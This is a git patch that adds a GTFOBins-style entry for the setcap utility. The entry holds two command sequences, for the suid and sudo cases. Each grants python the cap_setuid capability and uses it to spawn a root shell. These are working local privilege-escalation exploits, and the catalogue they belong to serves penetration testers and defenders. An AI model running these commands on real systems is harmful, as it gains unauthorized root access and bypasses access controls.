From 7c09fc25065d005501314387c4f2986e2cd7505a Mon Sep 17 00:00:00 2001 From: Sofia Engvall Date: Wed, 19 Jun 2024 00:49:36 +0200 Subject: [PATCH] Create setcap.md Adding setcap suid and sudo exploits --- _gtfobins/setcap.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 _gtfobins/setcap.md diff --git a/_gtfobins/setcap.md b/_gtfobins/setcap.md new file mode 100644 index 00000000..585044ee --- /dev/null +++ b/_gtfobins/setcap.md @@ -0,0 +1,15 @@ +--- +description: sets and removes capabilities on files +functions: + suid: + - description: Can be used to give and capabilities to other files. cap_setuid for example gives an executable permissions to switch uid. + code: | + cp $(which python) . + setcap cap_setuid+ep python + ./python -c 'import os; os.setuid(0); os.system("/bin/sh")' + sudo: + - code: | + cp $(which python) . + sudo setcap cap_setuid+ep python + ./python -c 'import os; os.setuid(0); os.system("/bin/sh")' +---